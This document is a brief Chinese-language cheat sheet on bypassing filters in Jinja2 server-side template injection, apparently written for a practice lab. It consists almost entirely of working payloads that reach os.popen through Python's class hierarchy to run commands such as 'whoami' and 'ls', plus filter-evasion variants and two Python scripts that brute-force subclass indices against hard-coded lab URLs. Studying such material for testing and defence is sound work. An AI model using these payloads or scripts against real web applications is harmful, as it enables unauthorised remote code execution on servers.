关于SSTI模块注入的常见绕过方法

{{''.__class__.__base__.__subclasses__().pop(xx)}}

import html
import requests
url='http://1.14.110.159:18080/flasklab/level/4'
def find_class_num():
    for i in range(500):
        parm_name='code'
        parm_value = "{{''.__class__.__base__.__subclasses__().pop(" + str(i) +")}}"
        data = {parm_name:parm_value}
        print(data)
        re = requests.post(url,data=data).text
        htmltest =html.unescape(re)
        print(htmltest)
        if '_frozen_importlib_external.FileLoader' in re:
            print(i)
            return i
find_class_num()

{{''|attr('__class__')}}

{{''['__class__']}}

{% if ''.__class__.__base__.__subclasses__()[xx].__init__.__globals__['__builtins__']['eval']('__import__('os').popen('whoami').read()') %}success{%endif%}

import requests
url = "http://1.14.110.159:18080/flasklab/level/2"
for i in range(500):
    data = {
        "code": "{% if ''.__class__.__base__.__subclasses__()[" + str(i)+"].__init__.__globals__['__builtins__']['eval']('__import__('os').popen('whoami').read()') %}success{%endif%}"
    }#传入的参数，根据事实情况更改参数的名称
    try:
        re = requests.post(url=url,params=data).text
        if 'success' in re:
            print(re)
            print(i,data["code"])
            break
    except:
        pass

{%print(''.__class__.__base__.__subclasses__()[xx].__init__.__globals__['__builtins__']['eval']('__import__('os').popen('whoami').read()'))%}
{%print(''.__class__.__base__.__subclasses__()[xx].__init__.__globals__['popen']('ls').read())%}

{% set a='aaaaaaa'|length%}{{a*a}}

{% set a='aaaaa'|length*'aaaa'|length%}{{a}}{{''.__class__.__base__.__subclasses__()[a]}}